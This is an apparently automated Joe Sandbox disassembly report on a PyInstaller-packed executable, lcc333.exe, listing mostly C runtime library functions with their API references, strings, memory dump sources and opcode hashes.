Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 2cf3136ef9ea19527f6d4696242c1e69462ee81e31dca19eb49a78ceae1dd291
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 4AF04462609E0791EB10AF26E8D4376A320EF46BB1F940A36D66E452E4EF2CD14CC320

Function 00007FF714CA9368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF714CA9390
_set_statfp.LIBCMT ref: 00007FF714CA93AB
_set_statfp.LIBCMT ref: 00007FF714CA93C7
_set_statfp.LIBCMT ref: 00007FF714CA9403

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 3f46217f0e4d57f24b0805be76721b64fd3c2360521ab1c04c76524f23151af1
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9611632BD59E0201F6543D57E4D33F99060AF5BB70FA40E37EB6F162EAAE6C68494130

Function 00007FF714C9B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF714C9A5A3,?,?,00000000,00007FF714C9A83E,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF714C9A5A3,?,?,00000000,00007FF714C9A83E,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF714C9A5A3,?,?,00000000,00007FF714C9A83E,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF714C9A5A3,?,?,00000000,00007FF714C9A83E,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9B407
FlsSetValue.KERNEL32(?,?,?,00007FF714C9A5A3,?,?,00000000,00007FF714C9A83E,?,?,?,?,?,00007FF714C9A7CA), ref: 00007FF714C9B418

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: a49f618044e34c5fba2e57d1970284e5ef76f8237023c538ec76d471b09641d5
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: 31116020E08E4271FA54BF27DED1139A2416F467B0FD89736EA2D46BC6FE2CA4094620

Function 00007FF714C9B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF714C9B235
FlsSetValue.KERNEL32 ref: 00007FF714C9B254
FlsSetValue.KERNEL32 ref: 00007FF714C9B27C
FlsSetValue.KERNEL32 ref: 00007FF714C9B28D
FlsSetValue.KERNEL32 ref: 00007FF714C9B29E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: c057b87d0e2c05a8f2f117c4e11abf5588a28432ec48a62aea3a7b0e673dd4f8
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: CA11E320A08E0771F9587E67CCE117D9182AF47B70ED49736D92E4A6C2FD2DB4488621

Function 00007FF714C95FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C95FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C96106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C961BC

Strings

verbose, xrefs: 00007FF714C95FB0

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 1e98410c8ccb1e3947d524e7417bd4286982eeb517a6268bf2f13c4cf3db1b79
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 0A91B332B08E46A1EB65AF26DC9037DB691AB42B64FC44137DA5D473D5EE3DE409C320

Function 00007FF714C9FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9FEA7

Part of subcall function 00007FF714C97A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714C97A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF714C9FE45
ccs, xrefs: 00007FF714C9FDE2
UTF-8, xrefs: 00007FF714C9FE26

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 774148b3078cfb43542f77ca6604a6bbda1c6c96162efc9448f054e7dc94f01a
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 8E81B673D08D43E5F7757E27C9E0278B6A0AB13764FD98033C90997295EB2CE9498321

Function 00007FF714C8D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF714C8D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF714C8D70A
RtlUnwindEx.KERNEL32 ref: 00007FF714C8D764

Strings

csm, xrefs: 00007FF714C8D6F1

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 3842733fd99f19469528eda55f38187808424c2efab3c3c898b504a4f46cd9bf
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 3651D536B19A038ADB14EF16E085A78B391FB45BA8F908136DE4E47748DF7CE846C750

Function 00007FF714C8EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF714C8EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF714C8EF83

Strings

RCC, xrefs: 00007FF714C8EF53
MOC, xrefs: 00007FF714C8EF4B

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: cb279c93c053ee0da8ebb2cb14711549d334f90ecc99443da5fa6158db297dc4
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 3C619432908BC685D760AF16E4813AAF7A0FB867A4F444236EB9C47755DF7CE194CB10

Function 00007FF714C8F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF714C8F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF714C8F398

Strings

csm, xrefs: 00007FF714C8F2D2
csm, xrefs: 00007FF714C8F3EA

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 4ea2c7d51dc269bafd4ba223138c073a501b1b463fa71a2b026e0678a473fa8a
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 3F518132608A4386EB64AF2390A527CB790EB96BA4F944137DB4D47B95CF3CE458C711

Function 00007FF714C82810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF714C828EA

Strings

ERROR, xrefs: 00007FF714C8286F
[PYI-%d:%ls] , xrefs: 00007FF714C82868
Error, xrefs: 00007FF714C828DD

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 6bae0e05981b10fd77837118e0639a85e0dcd7f7e66c35e593303d2305e293f9
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: 0421D173B08F4192E710AF16F8857EAA7A0FB89794F800536EA8D53659EF3CD249C750

Function 00007FF714C9C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF714C9C61F
WriteFile.KERNEL32 ref: 00007FF714C9C8E7
WriteFile.KERNEL32 ref: 00007FF714C9C92D
GetLastError.KERNEL32 ref: 00007FF714C9C9E3

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: ed86ab598834cdc9a7c725bce550607738d3b2fca521eb414e1e4179b15ab268
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 75D12872B08E4199E710DF76D8801AC77B1FB56BA8B904236DE5E97B85EE38D00AC310

Function 00007FF714C820C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF714C820F4
SetWindowLongPtrW.USER32 ref: 00007FF714C82116
GetWindowLongPtrW.USER32 ref: 00007FF714C82140
InvalidateRect.USER32 ref: 00007FF714C82160

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 82be28a528ddf5e7177af14b022ab22130bc4bcb810bbb08ab3ab1ddff55accd
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 8911EC25B0C94342F654AF6BE5C9279D292EF86BA0FD44432DB4907B89DD3DD8C98210

Function 00007FF714CA5B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF714CA1760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA1793

_get_daylight.LIBCMT ref: 00007FF714CA5C34
_get_daylight.LIBCMT ref: 00007FF714CA5C45

Strings

?, xrefs: 00007FF714CA5BC5

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 90ef9206d4bcdc8d59a2db30ab1b761fde37fde00193e9ab8c85276af3936a25
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 82415E13A08A8155F7206F17E481379E790EBA2FB4FA48636EE5C06AD5FF3CD4498710

Function 00007FF714C99014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C99046

Part of subcall function 00007FF714C9A948: RtlFreeHeap.NTDLL(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A95E
Part of subcall function 00007FF714C9A948: GetLastError.KERNEL32(?,?,?,00007FF714CA2D22,?,?,?,00007FF714CA2D5F,?,?,00000000,00007FF714CA3225,?,?,?,00007FF714CA3157), ref: 00007FF714C9A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF714C8CBA5), ref: 00007FF714C99064

Strings

C:\Users\user\Desktop\lcc333.exe, xrefs: 00007FF714C99052

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\lcc333.exe
API String ID: 3580290477-38780731
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 71729fce6725df4061853aa22a7a30f860230ca9508e0dafe51362d109a11676
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 45419336A08F52A5EB14BF27D8C00FDA3A5FB467E0B955036E94D43785EE3DD4898320

Function 00007FF714C9CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF714C9CD4F
GetLastError.KERNEL32 ref: 00007FF714C9CD71

Strings

U, xrefs: 00007FF714C9CCFB

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 80f87d26282ef0067db7de58990efdde1617431b379c01b7040b2471a7c1b953
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 0241B473B18E4191DB209F26E8843A9A760FB89BA4F944132EE4D87794EF3CD405C750

Function 00007FF714C9F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF714C9F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF714C9F64A

Strings

:, xrefs: 00007FF714C9F60E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: 1d1db6d086b522bb19c40cb2ac4967d1b35b6f29d7f498b7fe5ad62a7c2df2c8
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: A0210672A18B8281EB20EF16D89426DB3B1FB89B94FD54036D64D43684EF7CE5488B60

Function 00007FF714C8FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF714C8FD98
RaiseException.KERNEL32 ref: 00007FF714C8FDD9

Strings

csm, xrefs: 00007FF714C8FDC6

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 5c0b9ad04a8988dc1978da8b1bafdf30e51e9c425254117db3a19c375d25a648
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: E3115E32618F8682EB219F16E440269B7E4FB89B98F984632EB8D07754EF3CC555C700

Function 00007FF714CA073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA076C
GetDriveTypeW.KERNEL32 ref: 00007FF714CA07AC

Strings

:, xrefs: 00007FF714CA0795

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
